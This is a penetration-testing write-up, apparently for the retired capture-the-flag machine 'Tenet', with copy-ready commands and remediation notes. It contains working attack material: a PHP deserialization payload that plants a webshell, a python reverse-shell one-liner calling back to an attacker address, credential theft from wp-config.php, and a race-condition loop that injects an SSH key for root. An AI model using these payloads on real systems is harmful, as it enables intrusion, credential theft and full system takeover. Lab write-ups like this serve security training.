Tenet
Summary
I scanned $TARGET and found Apache 2.4.29 on port 80 and SSH on port 22. Directory brute-forcing uncovered a WordPress installation at /wordpress, and a blog comment pointed to a file named sator.php. A .bak backup copy of that file was left accessible on the bare IP and disclosed the complete PHP source of a class whose destructor wrote my own content to my own filename whenever PHP deserialized an untrusted GET parameter.
I crafted a malicious serialized object to write a PHP webshell onto the server, gaining remote code execution as the Apache web user (www-data). Reading the WordPress configuration file through that webshell yielded plaintext database credentials (neil / <withheld>) that were reused verbatim as the SSH password for the local Linux account neil, providing an interactive shell and the user flag. A sudo rule let neil run a shell script as root without a password; that script called mktemp -u to generate a temporary filename without atomically creating the file, leaving a predictable, world-writable /tmp/ssh-* path open for a race window before the authorized key was written.
By racing a loop that repeatedly overwrote any /tmp/ssh-* file with my own SSH public key against repeated invocations of the sudo script, I substituted my own key into root's authorized_keys, granting passwordless root SSH and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for neil>"Attack path — how the box was taken
Exact commands 3
Enumerate service versions on the two open ports.
$ nmap -Pn -sV -p22,80 $TARGETRegister the virtual host referenced in WordPress blog links.
$ echo "$TARGET tenet.htb" | sudo tee -a /etc/hostsBrute-force the bare IP for directories and backup file extensions.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,txtExact commands 1
Retrieve the backup source — accessible only on the bare IP, not via the tenet.htb vhost.
$ curl -sS http://$TARGET/sator.php.bakFixRemove backup and source-disclosure files from the web rootHigh
Exact commands 2
Craft the serialized object and deliver it; two 'Database updated' lines in the response confirm attack.php was written.
$ payload='O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}' && curl -sS --get --data-urlencode "arepo=$payload" http://$TARGET/sator.phpConfirm remote code execution as www-data via the newly written webshell.
$ curl -sS --get --data-urlencode 'cmd=id' http://$TARGET/attack.phpFixNever pass untrusted input to PHP's unserialize()Critical
Exact commands 2
Open the listener on the attack machine before triggering the callback.
$ nc -lvnp 4444Replace $ATTACKER_IP with your tun0 / VPN address.
$ curl -sS --get --data-urlencode 'cmd=python3 -c "import socket,os,pty;s=socket.socket();s.connect((\"'"$ATTACKER_IP"'\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")"' http://$TARGET/attack.phpExact commands 1
Read wp-config.php via the webshell; look for DB_USER and DB_PASSWORD constants.
$ curl -sS --get --data-urlencode 'cmd=cat /var/www/html/wordpress/wp-config.php' http://$TARGET/attack.phpFixUse unique, non-reused passwords for database accounts and OS user accountsHigh
Exact commands 1
Authenticate as neil with the reused database password and read the user flag.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neil@$TARGET 'id; cat ~/user.txt'
uid=1001(neil)Exact commands 6
Run as neil — confirms NOPASSWD sudo right for /usr/local/bin/enableSSH.sh.
$ sudo -l
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.shInspect the script to locate the mktemp -u call and the /tmp/ssh-* naming pattern.
$ cat /usr/local/bin/enableSSH.shGenerate my SSH keypair; the public key will be raced into root's authorized_keys.
$ ssh-keygen -q -t rsa -b 2048 -N '' -f /tmp/tenet_keyLoop A (run in background as neil): continuously overwrite any /tmp/ssh-* file with me public key.
$ while true; do for f in /tmp/ssh-*; do [ -f "$f" ] && cat /tmp/tenet_key.pub > "$f" 2>/dev/null; done; done &Loop B (run concurrently in a second neil session): repeatedly trigger the script until the race is won — typically within 30 seconds.
$ while true; do sudo /usr/local/bin/enableSSH.sh 2>/dev/null; doneAuthenticate as root using the planted private key and read the root flag.
$ ssh -i /tmp/tenet_key -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'FixEliminate the TOCTOU race condition in the enableSSH.sh sudo scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.